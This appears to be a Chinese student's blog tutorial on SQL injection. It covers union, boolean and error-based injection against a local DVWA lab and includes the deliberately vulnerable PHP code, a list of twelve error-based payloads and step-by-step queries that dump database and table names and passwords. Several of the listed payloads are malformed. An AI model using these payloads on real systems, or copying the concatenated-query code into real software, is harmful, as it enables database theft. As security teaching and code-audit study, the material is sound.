SQL注入回顾篇(一)

前言

忆往昔,峥嵘岁月稠!大学已经到了大三了,打了很多比赛,回顾还是挺欣慰!此系列来由是想留一点东西,把所学知识整理一下,同时也是受github上Micro8分享的启发,故想做一些工作,以留后人参考,历时两个星期,第一系列SQL注入回顾篇出炉!内容分四节发布,其中SQL注入代码审计为两节,WAF绕过总结为1节,SQLMAP使用总结为1节!此为SQL注入代码审计第一部分。欢迎各位斧正,交流!

文章目录

        • 前言
    • @[toc]
        • 简介
        • Mysql注入相关知识点
        • 分类
        • Union注入
        • Union注入代码分析
        • Boolean注入
        • Boolean注入代码分析
        • 报错注入
        • 报错注入代码分析
        • 结语

简介

SQL注入就是web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询攻击者可以通过构造不同的sql语句来实现对数据库的任意操作。

Sql注入的产生需要满足以下两个条件:

  1. 参数用户可控:前端传给后端的参数内容是用户可以控制的。

  2. 参数带入数据库查询:传入的参数拼接到sql语句中,且带入数据库查询。

当传入的参数ID为1’时,数据库执行的代码如下所示。

Select * from users where id=1

这个语句不符合数据库语法规范,所以会报错。当传入的参数为and 1=1时,执行的sql语句如下所示

Select * from users where id=1 and 1=1

因为1=1为真,且where语句中的id=1也为真,所以页面会返回与id=1相同的结果。当传入的id参数为and 1=2时,此时sql语句恒为假,所以服务器会返回与id=1不同的结果

在实际环境中,sql注入会导致数据库的数据泄露,在安全配置不当的情况下还可能会被攻击者拿到系统权限,进行文件的读写操作等。

普通的注入审计,可以通过$_GET,$_POST等传参追踪数据库操作,也可以通过select , delete , update,insert 数据库操作语句反追踪传参。

Mysql注入相关知识点

  1. 在Mysql 5.0版本之后,Mysql默认在数据库中存放一个”information_shcema”的数据库,在该库中,读者需要记住三个表名,分别是SCHEMATA,TABLESCOLUMNS。分存储该用户创建的所有数据库的库名,库名和表名,库名和表名,字段名。

  2. Limit的用法:使用格式为limit m,n,其中m是指记录开始的位置,从0开始,表示第一条记录:n是指取n条记录。例如limit 0,1表示从第一条记录开始,取一条记录。

  3. 需要记住的几个函数

  • database():当前网站使用的数据库。

  • version():当前MYSQL的版本。

  • user():当前MySQL的用户。

  1. 注释符

在MYSQL中,常见的注释符的表达式为:#或–空格或/**/,

,//,-- , --+,%00,–a。

  1. 内联注释

    内联注释的形式:/*!code */。内联注释可以用于整个SQL语句中用来执行我们的SQL语句,

    举个栗子:

    Index.php?id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
  2. MYSQL对大小写不敏感,所以存在大小绕过。

分类

按照注入方式方式分为以下几种:

  1. Union注入
  2. Boolean注入
  3. 报错注入
  4. 时间注入
  5. 堆叠注入
  6. 二次注入
  7. 宽字节注入
  8. Cookie注入
  9. Base64注入
  10. XFF注入

Union注入

注入测试地址http://192.168.23.134/union/union.php?id=1

访问该网站页面返回的结果如图所示
SQL注入回顾篇(一)_第1张图片

在url后添加一个单引号,再次访问,如下图所示,页面返回的结果与id=1的结果不同。
SQL注入回顾篇(一)_第2张图片
访问id=1 and 1=1,由于and 1=1为真,所以页面应返回与id=1相同的结果,如图所示,访问id=1 and 1=2 由于and 1=2为假,所以页面应返回与id=1不同的结果,如图1.2所示。
SQL注入回顾篇(一)_第3张图片
注:这里的加号代替了空格(url编码)
SQL注入回顾篇(一)_第4张图片
图1.2

因此可以得出此网站可能存在sql注入的结论,接着使用order by 1-99语句查询该数据表的字段数量,可以理解为order by=1-99,如访问id=1 order by 8 返回的是与id=1相同的结果,如图2.1所示。访问id=1 order by 9,返回的与id=1的结果不同,则字段数为8,如图2.2.
SQL注入回顾篇(一)_第5张图片

​ 图2.1

SQL注入回顾篇(一)_第6张图片

​ 图2.2

接下来使用union注入,且通过order by 查询结果,得字段数为8,所以union注入的语句如下所示

 union select 1,2,3,4,5,6,7,8

SQL注入回顾篇(一)_第7张图片

我们将id值设为-1,只让服务器返回union select的结果,因为数据库里没有id=-1的数据。如下图:
SQL注入回顾篇(一)_第8张图片
返回的结果是4,5,意味着在union select 1,2,3,4,5,6,7,8中,4和5的位置可以输入sql语句。接下来我们在 4的位置使用database()查询当前数据库名访问

-1+union+select+1,2,3,database(),5,6,7,8

页面成功返回数据信息,如图所示
SQL注入回顾篇(一)_第9张图片

得到数据库名后,接下来查询表名
SQL注入回顾篇(一)_第10张图片

SQL注入回顾篇(一)_第11张图片

以此类推,可以查询所有的表名,这里我们用users表,查询字段名

select column_name from information_schema.clumns where table_schema=’dvwa’ and table_name=’users’ limit 0,1

SQL注入回顾篇(一)_第12张图片

可知第一个字段为user_id,以此类推用limit n,1查询出所有字段名

SQL注入回顾篇(一)_第13张图片

SQL注入回顾篇(一)_第14张图片

得出字段名后,我们还要dump出字段值以password字段为例

select password from dvwa.users limit 0,1

SQL注入回顾篇(一)_第15张图片

假如我们利用5显示位,可以将密码对应的姓名也打印出来

SQL注入回顾篇(一)_第16张图片

Union注入代码分析

​ 在union注入页面中,程序获取GET参数ID,将ID拼接到SQL语句中,在数据库中查询参数ID对应的内容,然后将第一条查询结果中的username和address输出到页面上,由于是将数据输出到页面上的,所以可以利用union语句查询其他数据,代码如下



$con=mysqli_connect("localhost","root","root","dvwa");

// 检测连接

if (mysqli_connect_error()

{

    echo "连接失败: " . mysqli_connect_error();

}

$id = $_GET['id'];

$result = mysqli_query($con,"select * from users where `user_id`=".$id);

while($row = mysqli_fetch_array($result))

{

echo $row['user'] . " " . $row['password'];

    echo "
"
; } ?>

Boolean注入

注入测试地址:http://192.168.23.134/boolean/boolean.php?id=1

访问该网址页面返回yes,如图所示
SQL注入回顾篇(一)_第17张图片

加上单引号后,页面返回no

SQL注入回顾篇(一)_第18张图片

虽然这里存在报错注入,但目前暂不考虑,输入其它的id值,只返回yes和no。由此可以判断,页面只返回yes和no,不返回数据库中的数据,所以此处不可union注入。此处利用Boolean注入。Boolean注入是指构造SQL判断语句,通过查看页面的返回结果来推测哪些sql判断条件是成立,以此获取数据库数据。我们先判断数据库名的长度。

and length(database())>=1--+

​ 有单引号,所以需要注释符来注释。1的位置上可以是任意数字,如‘ and length(database())>=4–+和‘ and length(database())>=5–+,判断数据库长度,如图所示
SQL注入回顾篇(一)_第19张图片
SQL注入回顾篇(一)_第20张图片

可以判断出数据库名长度为4。

​ 接着,使用逐字符判断的方式获取数据库库名。数据库库名的范围一般在az,09之内,可能还有一些特殊字符,这里的字符不区分大小写。逐字符判断的SQL语句为:

and substr(database(),1,1)=’d’--+

​ substr是截取的意思,其意思是截取database()的值,从第一个字符开始,每次只返回一个。

​ substr的用法跟limit的有区别,需要注意。Limit是从0开始排序,而这里是从1开始排序。可以使用burp的爆破功能爆破其中的d值,如图所示,当值为d时页面返回yes,其它值返回no,因此判断数据库名第一位为d
SQL注入回顾篇(一)_第21张图片
SQL注入回顾篇(一)_第22张图片
SQL注入回顾篇(一)_第23张图片

逐字符爆破可以得出数据库名为dvwa。

​ 其实还可以使用ASCII码的字符进行查询,在mysql中ASCII转换的函数为ord,则可以进行逐字符爆破。ASCII码共有127个对应码,因此我们把burp的payload的范围设为0~127。

and ord(substr(database(),1,1))>=100--+

SQL注入回顾篇(一)_第24张图片

d的ascii对应的为100,所以第一个字符为d。

接下来爆破表名,同样利用burp爆破。

and substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 1,1),1,1)=’u’--+

SQL注入回顾篇(一)_第25张图片

这里爆破出第二个表的第一个字符为u,以此类推,就可以查询出所有的表名与字段名。

Boolean注入代码分析

​ 在Boolean注入页面中程序先获取GET参数ID,通过preg_match判断其中是否存在union/sleep/benchmark等危险字符。然后将参数ID拼接到SQL语句,从数据库查询,如果有结果,则返回yes,否则返回no。当访问该页面时,代码根据数据库查询的结果返回yes或no,而不返回数据库中的任何数据,所以页面上只会显示yes或no,代码如下。



$con=mysqli_connect("localhost","root","root","dvwa");

// 检测连接

if (mysqli_connect_errno())

{

  echo "连接失败: " . mysqli_connect_error();

}

$id = $_GET['id'];

if (preg_match("/union|sleep|benchmark/i", $id)) {

  exit("no");

}

$result = mysqli_query($con,"select * from users where `user_id`='".$id."'");

$row = mysqli_fetch_array($result);

if ($row) {

  exit("yes");

}else{

  exit("no");

}

?>

报错注入

注入测试网址:192.168.23.134/error/error.php?username=1

加上单引号后会报错。

SQL注入回顾篇(一)_第26张图片

通过页面返回结果可以看出,程序直接将错误信息输出到了页面上,所以利用报错注入获取数据。报错注入有多种方式,此处利用函数updataxml()SQL语句获取user()的值

and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

其中0x7e是ASCII编码,解码结果为~,concat函数用于连接字符串。

SQL注入回顾篇(一)_第27张图片

然后获取当前的数据库名

and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

SQL注入回顾篇(一)_第28张图片

接下来查询表名

and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’dvwa’ limit 0,1),0x7e),1)--+

SQL注入回顾篇(一)_第29张图片

报错注入代码分析

在报错注入页面中,程序获取GET参数username后,将username拼接到SQL语句中,然后到数据库查询,如果执行成功,就输出ok;如果出错,则通过mysqli_error($con)将错误信息输出到页面。代码如下



$con=mysqli_connect("localhost","root","root","dvwa");

// 检测连接

if (mysqli_connect_errno())

{

    echo "连接失败: " . mysqli_connect_error();

}

$username = $_GET['username'];

if($result = mysqli_query($con,"select * from users where `first_name`='".$username."'")){

    echo "ok";

}else{

    echo mysqli_error($con);

}

?>

输入username=1’时,SQL语句为select * from users where ‘username’=’1’’会因为多了一个单引号而报错。利用这种错误回显,我们可以通过floor(),updatexml()等函数将要查询的内容输出到页面上。

sql报错注入的12个函数

1、通过floor报错,注入语句如下:

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2、通过ExtractValue报错,注入语句如下:

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3、通过UpdateXml报错,注入语句如下:

and 1=(updatexml(1,concat(0x3a,(selectuser())),1))

4、通过NAME_CONST报错,注入语句如下:

and exists(select*from(select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5、通过join报错,注入语句如下:

select * from(select * from mysql.user ajoin mysql.user b)c;

6、通过exp报错,注入语句如下:

and exp(~(select * from (select user () ) a) );

7、通过GeometryCollection()报错,注入语句如下:

and GeometryCollection(()select *from(select user () )a)b );

8、通过polygon ()报错,注入语句如下:

and polygon (()select * from(select user ())a)b );

9、通过multipoint ()报错,注入语句如下:

and multipoint (()select * from(select user() )a)b );

10、通过multlinestring ()报错,注入语句如下:

and multlinestring (()select * from(selectuser () )a)b );

11、通过multpolygon ()报错,注入语句如下:

and multpolygon (()select * from(selectuser () )a)b );

12、通过linestring ()报错,注入语句如下:

and linestring (()select * from(select user() )a)b );

结语

本次分享是Union注入,报错注入,布尔注入的原理分析,及其代码审计!下次分享的是另外几种注入的代码审计及其原理分享,如:时间注入,堆叠注入,二次注入,cookie注入等!如有兴趣,请移步->
传送门:
SQL注入回顾篇(二)
SQL注入回顾篇(三)
SQL注入回顾篇(四)

你可能感兴趣的:(注入,漏洞,代码审计,渗透之旅,CTF学习,系统机制,CTF大本营)